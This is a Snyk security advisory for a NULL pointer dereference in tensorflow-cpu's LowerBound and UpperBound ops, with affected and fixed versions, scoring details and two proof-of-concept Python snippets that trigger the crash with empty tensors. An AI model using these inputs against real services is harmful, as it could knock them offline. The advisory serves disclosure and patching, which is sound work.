NULL Pointer Dereference Affecting tensorflow-cpu package, versions [,2.7.2) [2.8.0,2.8.1) [2.9.0,2.9.1)


0.0
medium

Snyk CVSS

    Attack Complexity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.08% (33rd percentile)
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NVD
7.5 high

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  • Snyk ID SNYK-PYTHON-TENSORFLOWCPU-3026867
  • published 18 Sep 2022
  • disclosed 16 Sep 2022
  • credit Neophytos Christou

How to fix?

Upgrade tensorflow-cpu to version 2.7.2, 2.8.1, 2.9.1 or higher.

Overview

tensorflow-cpu is a machine learning framework.

Affected versions of this package are vulnerable to NULL Pointer Dereference when LowerBound or UpperBound is given an empty sorted_inputs input.

PoC

import tensorflow as tf

out_type = tf.int32
sorted_inputs = tf.constant([], shape=[10,0], dtype=tf.float32)
values = tf.constant([], shape=[10,10,0,10,0], dtype=tf.float32)
tf.raw_ops.LowerBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type)
import tensorflow as tf

out_type = tf.int64
sorted_inputs = tf.constant([], shape=[2,2,0,0,0,0,0,2], dtype=tf.float32)
values = tf.constant(0.372660398, shape=[2,4], dtype=tf.float32)
tf.raw_ops.UpperBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type)